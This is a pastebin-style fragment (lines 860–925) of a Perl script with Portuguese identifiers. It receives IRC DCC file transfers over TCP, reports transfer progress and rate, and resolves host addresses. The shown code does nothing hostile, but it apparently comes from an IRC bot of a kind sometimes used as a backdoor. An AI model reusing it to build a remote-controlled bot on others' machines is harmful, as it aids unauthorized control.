  860.   return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  861.   my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  862.   $dccsock->autoflush(1);
  863.   $dcc_sel->add($dccsock);
  864.   $DCC{$dccsock}{tipo} = 'get';
  865.   $DCC{$dccsock}{itime} = time;
  866.   $DCC{$dccsock}{nick} = $nick;
  867.   $DCC{$dccsock}{bytes} = $bytes;
  868.   $DCC{$dccsock}{curbyte} = 0;
  869.   $DCC{$dccsock}{arquivo} = $arquivo;
  870.   $DCC{$dccsock}{ip} = $dccip;
  871.   $DCC{$dccsock}{porta} = $dccporta;
  872.   $DCC{$dccsock}{status} = "Recebendo";
  873. }
  874.  
  875. sub Status {
  876.   my $socket = shift;
  877.   my $sock_tipo = $DCC{$socket}{tipo};
  878.   unless (lc($sock_tipo) eq "chat") {
  879.     my $nick = $DCC{$socket}{nick};
  880.     my $arquivo = $DCC{$socket}{arquivo};
  881.     my $itime = $DCC{$socket}{itime};
  882.     my $ftime = time;
  883.     my $status = $DCC{$socket}{status};
  884.     $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
  885.  
  886.     my $d_time = $ftime-$itime;
  887.  
  888.     my $cur_byte = $DCC{$socket}{curbyte};
  889.     my $bytes_total =  $DCC{$socket}{bytes};
  890.  
  891.     my $rate = 0;
  892.     $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
  893.     my $porcen = ($cur_byte*100)/$bytes_total;
  894.  
  895.     my ($r_duv, $p_duv);
  896.     if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
  897.        $r_duv = $3; $r_duv++ if $4 >= 5;
  898.        $rate = "$1\.$2"."$r_duv";
  899.     }
  900.     if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
  901.        $p_duv = $3; $p_duv++ if $4 >= 5;
  902.        $porcen = "$1\.$2"."$p_duv";
  903.     }
  904.     return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  905.   }
  906.  
  907.  
  908.   return(0);
  909. }
  910.  
  911.  
  912. sub fixaddr {
  913.     my ($address) = @_;
  914.  
  915.     chomp $address;    
  916.     if ($address =~ /^\d+$/) {
  917.         return inet_ntoa(pack "N", $address);
  918.     } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
  919.         return $address;
  920.     } elsif ($address =~ tr/a-zA-Z//) {                    
  921.         return inet_ntoa(((gethostbyname($address))[4])[0]);
  922.     } else {
  923.         return;
  924.     }
  925. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement